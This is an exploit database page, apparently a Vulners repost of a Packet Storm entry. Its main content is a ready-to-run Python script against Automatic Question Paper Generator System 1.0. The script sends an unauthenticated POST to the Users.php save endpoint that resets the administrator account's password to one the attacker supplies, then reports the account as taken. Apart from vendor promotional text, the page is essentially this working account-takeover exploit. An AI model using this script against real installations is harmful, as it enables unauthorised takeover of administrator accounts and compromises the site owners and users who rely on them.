Lucene search
K

Automatic Question Paper Generator System 1.0 Insecure Direct Object Reference

🗓️ 14 Mar 2022 00:00:00Reported by Mr EmpyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 331 Views

Automatic Question Paper Generator System 1.0 Authentication Bypass exploit on Linux

Code
`# Exploit Title: Automatic Question Paper Generator System 1.0 - Authentication Bypass  
# Date: 2022-04-03  
# Exploit Author: Mr Empy  
# Software Link: https://www.sourcecodester.com/php/15190/automatic-question-paper-generator-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: Linux  
#!/usr/bin/env python3  
import requests  
import random  
import string  
from requests_toolbelt import MultipartEncoder  
from time import sleep  
import argparse  
  
def banner():  
print('''  
___ ____ ____ ______  
/ | / __ \ / __ \/ ____/  
/ /| |/ / / / / /_/ / / __  
/ ___ / /_/ / / ____/ /_/ /  
/_/ |_\___\_\/_/ \____/  
  
[Automatic Question Paper Generator v1.0]  
[Authentication Bypass]  
''')  
  
def main():  
fields = {  
'id': "1",  
'firstname': 'Adminstrator',  
'lastname': 'Admin',  
'username': 'admin',  
'password': arguments.newpassword  
}  
  
boundary = '----WebKitFormBoundary' +  
''.join(random.sample(string.ascii_letters + string.digits, 16))  
m = MultipartEncoder(fields=fields, boundary=boundary)  
  
headers = {  
"Connection": "keep-alive",  
"Content-Type": m.content_type  
}  
  
r = requests.post(f'{arguments.url}/classes/Users.php?f=save',  
headers=headers, data=m)  
if '1' in r.text:  
print(f'[+] Account taken successfully! Login:  
admin:{arguments.newpassword}')  
else:  
print('[-] Not vulnerable')  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument('-u','--url', action='store', help='Target URL (  
http://target.com/aqpg/)', dest='url', required=True)  
parser.add_argument('-p','--password', action='store', help='New  
password', dest='newpassword', required=True)  
arguments = parser.parse_args()  
banner()  
sleep(2)  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2022 00:00Current
0.2Low risk
Vulners AI Score0.2
331